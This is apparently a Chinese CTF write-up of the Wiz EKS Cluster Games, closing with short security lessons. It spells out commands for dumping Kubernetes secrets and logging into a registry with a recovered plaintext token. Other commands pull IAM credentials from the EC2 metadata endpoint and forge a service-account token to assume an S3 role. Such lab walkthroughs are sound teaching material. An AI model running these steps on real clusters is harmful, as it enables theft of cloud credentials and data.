云安全-wiz eks-cluster-games题解与思考

news/2024/5/19 22:48:03 标签: 云安全, wiz, aws, ctf

目录

  • 题目1 Secret Seeker
  • 题目2 Registry Hunt
  • 题目3 Image Inquisition
  • 题目4 Pod Break
  • 题目5 Container Secrets Infrastructure
  • 思考
    • 权限不必提供
    • secret使用时需要注意
    • 镜像使用
    • 云上配置
  • 参考


题目1 Secret Seeker

在这里插入图片描述
可以看到有secrets的get和list权限

kubectl get secrets
kubectl  get secrets log-rotate -o yaml

之后base64解码即可
在这里插入图片描述

题目2 Registry Hunt

在这里插入图片描述
可以看到有secrets的get和pods的list、get权限

由于没有secrets的list权限,我们需要先通过pods来确定secret的名称

kubectl get pods
kubectl get po database-pod-2c9b3a4e -o yaml

在这里插入图片描述
查看secret

kubectl get secret registry-pull-secrets-780bab1d -o yaml

在这里插入图片描述
之后发现题目的crane工具可以登录
在这里插入图片描述

crane auth login index.docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo

下载镜像层

crane pull eksclustergames/base_ext_image base_ext_image.tar
tar -xvf base_ext_image.tar

在这里插入图片描述
解压

tar -xvf 193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06.tar.gz

在这里插入图片描述
最后再cat一下就行了

部分尝试
在这里插入图片描述
尝试了docker,发现这个节点没有
在这里插入图片描述
也无法安装

题目3 Image Inquisition

第二个单词是“盘问”的意思,看来要搞镜像了
在这里插入图片描述
可以看到有pods的list和get权限

kubectl get po
kubectl get po accounting-pod-876647f8 -o yaml

在这里插入图片描述
看了Hint #1
在这里插入图片描述
然后发现,正是我前段时间研究AWS EC2时的文章中写的SSRF安全问题

curl 169.254.169.254/latest/meta-data

在这里插入图片描述
查看iam临时凭据

curl 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole

在这里插入图片描述
配置好aws cli后生成密码,并使用crane获取更多信息。

aws ecr get-login-password | crane auth login --username AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com
crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01

在这里插入图片描述ARTIFACTORY_TOKEN就是flag

部分尝试
在这里插入图片描述
进行了类似题目2的尝试,失败了,原因是没有权限

在这里插入图片描述
进行权限列表获取,失败了,原因是没有权限

题目4 Pod Break

在这里插入图片描述
可以看到没有权限了,那就只能通过sts了

aws eks help

在这里插入图片描述
生成token

aws eks get-token --cluster-name eks-challenge-cluster

在这里插入图片描述
获取secrets

kubectl get secrets --token k8s-aws-xxx

在这里插入图片描述
查看具体内容

kubectl get secrets node-flag --token k8s-aws-xxx -o yaml

在这里插入图片描述

部分尝试
在这里插入图片描述
验证权限,确实没有了

题目5 Container Secrets Infrastructure

在这里插入图片描述

{
    "Policy": {
        "Statement": [
            {
                "Action": [
                    "s3:GetObject",
                    "s3:ListBucket"
                ],
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
                ]
            }
        ],
        "Version": "2012-10-17"
    }
}

允许列出和读取s3桶的对象,那应该就是flag对象了

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"
                }
            }
        }
    ]
}

授权时做了限制,限制了audience和Federated

{
    "secrets": [
        "get",
        "list"
    ],
    "serviceaccounts": [
        "get",
        "list"
    ],
    "pods": [
        "get",
        "list"
    ],
    "serviceaccounts/token": [
        "create"
    ]
}

可以列出或读取secrets/serviceaccounts/pods内容,可以创建serviceaccounts/token
在这里插入图片描述实际上做了限制,只能给debug-sa这个创建token
aws cli没有s3权限,只能先看看eks集群有啥信息了

kubectl get sa

在这里插入图片描述
只有sa有东西,不理解,可能权限给多了
在这里插入图片描述
debug-sa应该也没用,description写了没有policy。
创建一个token试一下

kubectl create token debug-sa

在这里插入图片描述
在这里插入图片描述
解密发现和策略的限制能对的上,那看来其实是用debug-sa的
在这里插入图片描述
发现并不行,auience是不对的,翻到前面的限制发现audience必须sts.amazonaws.com
在这里插入图片描述
加上audience后终于成功了
在这里插入图片描述
在这里插入图片描述
切换后终于有s3权限了
在这里插入图片描述

部分尝试
在这里插入图片描述
尝试创建token,没有权限

思考

权限不必提供

攻击到集群,可以执行命令后,首先要做的就是查看权限,常用命令

kubectl auth can-i --list

在这里插入图片描述

secret使用时需要注意

base64编码不安全

镜像使用

注意镜像层是否有敏感信息,防止通过docker history等命令暴露;dockerconfig等镜像仓库配置需要保存好。

云上配置

注意RBAC、IAM policy等敏感配置,遵循最小权限原则。

参考

wiz-宣布EKS集群游戏
k8s学习-Secret(创建、使用、更新、删除等)

k8s-私有仓库拉取镜像
容器注册表工具-crane

云原生-AWS EC2使用、安全性及国内厂商对比
aws-cli
aws-ecr工具使用
如何获取凭据
aws-cli-sts

aws-cli-eks

aws-cli-s3
https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html?highlight=assumerolewithwebidentity
JSON Web Tokens (JWT) 在线解密


http://www.niftyadmin.cn/n/5270594.html

相关文章

Android View绘制流程详解

在Android中,View是构成用户界面的基本元素之一。了解View的绘制流程对于开发人员来说非常重要,可以帮助他们更好地理解和优化应用程序的性能。 1. View的绘制过程 View的绘制过程可以总结为以下几个步骤: 测量(Measure):在绘制…

基于双目RGB图像和图像深度信息的三维室内场景建模matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1 双目视觉原理 4.2 深度信息获取 4.3 表面重建 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 matlab2022a 3.部分核心程序 .....................................…

Windows删除文件的时候提示有其他程序使用文件,无法删除,如何找到是谁再使用?

在Windows中,当你尝试删除一个文件时,如果系统提示该文件正在被其他程序使用,你可以通过以下步骤找到是哪个程序在使用该文件: 记下文件名:首先,记下无法删除的文件的完整路径和文件名。 使用"资源监…

将博客搬至微信公众号了

一、博客搬家通知 各位码友们好,大家是不是基本很少看 CSDN 了呢?平时开发是不都依靠着 chatGPT 来解决工作中的技术问题了,不过我觉得在工作中的使用场景各式各样的,具体问题还得自己具体去梳理逻辑,再考虑用什么样的…

Java之Clonable接口和深浅拷贝

Clonable接口 我们船舰了一个人的对象,想要克隆一个一模一样的对象,可以用到object类里面的克隆方法 object不是所有类的父类吗?那为什么用person1点不出这个方法呢?可以看一下源码 这是Object类里面的clone方法的声明&#xff0…

关于vue3中响应式依赖注入provide/inject

关于# vue3中响应式依赖注入 场景:适合单组件(多层嵌套组件),解决父组件的响应式数据能够传递给所有子组件(包括孙子组件及以下) 优点:数据同步更新,并同步渲染视图,耦合…

Android Camera2的基本使用(预览、拍照)

一、背景 需要使用Camera2来实时抓取每一帧的图像 二、Camera2相关的类 1.CameraManager 摄像头管理类,可以获取摄像头ID、摄像头支持分辨率、传感器旋转角度等摄像头信息。 同时打开关闭摄像头也需要通过这个类 以下是这个类的基本使用,用来获取摄像…

大数据之旅-问题反思

1.谈谈你对MR执行流程各个阶段的理解(提示里面涉及到排序,快速排序或者归并排序知道两种实现形式)? https://editor.csdn.net/md/?articleId134878869 2.hadoop 1.0和hadoop 2.0明显的差异如何理解? hadoop2.0与had…